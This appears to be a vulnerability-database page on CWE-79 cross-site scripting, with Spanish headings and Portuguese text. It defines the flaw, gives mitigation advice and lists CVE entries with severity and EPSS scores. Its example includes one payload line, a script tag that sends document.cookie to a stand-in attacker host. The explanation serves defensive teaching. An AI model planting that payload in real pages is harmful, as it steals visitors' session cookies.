Fallos del tipo CWE-79

29.056 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-28853LOWAmpache Stored XSSEPSS 0.6%CVE-2020-22327MEDIUMAn issue was discovered in HFish 0.5.1. When a payload is inserted where the name is entered, XSS code is triggered when the administrator vEPSS 0.6%CVE-2022-38192MEDIUMThere is a stored cross-site scripting (XSS) vulnerability in ArcGIS API for JavaScript.EPSS 0.6%CVE-2026-48307HIGHColdFusion | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.5%CVE-2022-38068MEDIUMWordPress Export Post Info plugin <= 1.1.0 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2022-37412MEDIUMWordPress Better Delete Revision plugin <= 1.6.1 - Authenticated Reflected Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2022-35275MEDIUMWordPress Advanced Order Export For WooCommerce plugin <= 3.3.1 - Authenticated Reflected Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2024-3443LOWSourceCodester Prison Management System apply_leave.php cross site scriptingEPSS 0.5%CVE-2024-3433LOWPuneethReddyHC Event Management register.php cross site scriptingEPSS 0.5%CVE-2020-4070MEDIUMCross-site Scripting in CSS ValidatorEPSS 0.5%CVE-2024-3364LOWSourceCodester Online Library System index.php cross site scriptingEPSS 0.5%CVE-2022-35725MEDIUMWordPress wp-forecast plugin <= 7.5 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2024-47184MEDIUMAmpache vulnerable to Stored XSS via Democratic Playlist NameEPSS 0.5%CVE-2024-34699MEDIUMGZ::CTF allows unprivileged user can perform XSS attacks by constructing malicious team names.EPSS 0.5%CVE-2024-32588HIGHWordPress LearnPress Export Import plugin <= 4.0.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2026-71386HIGHColdFusion | Cross-site Scripting (XSS) (CWE-79)EPSS 0.5%CVE-2024-1037MEDIUMAll-In-One Security (AIOS) – Security and Firewall <= 5.2.5 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2022-4605MEDIUMCross-site Scripting (XSS) - Stored in flatpressblog/flatpressEPSS 0.5%CVE-2023-48201MEDIUMCross Site Scripting (XSS) vulnerability in Sunlight CMS v.8.0.1, allows remote authenticated attackers to execute arbitrary code and escalaEPSS 0.5%CVE-2024-10164MEDIUMPremium Packages - Sell Digital Products Securely <= 5.9.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via wpdmpp_pay_link ShortcodeEPSS 0.5%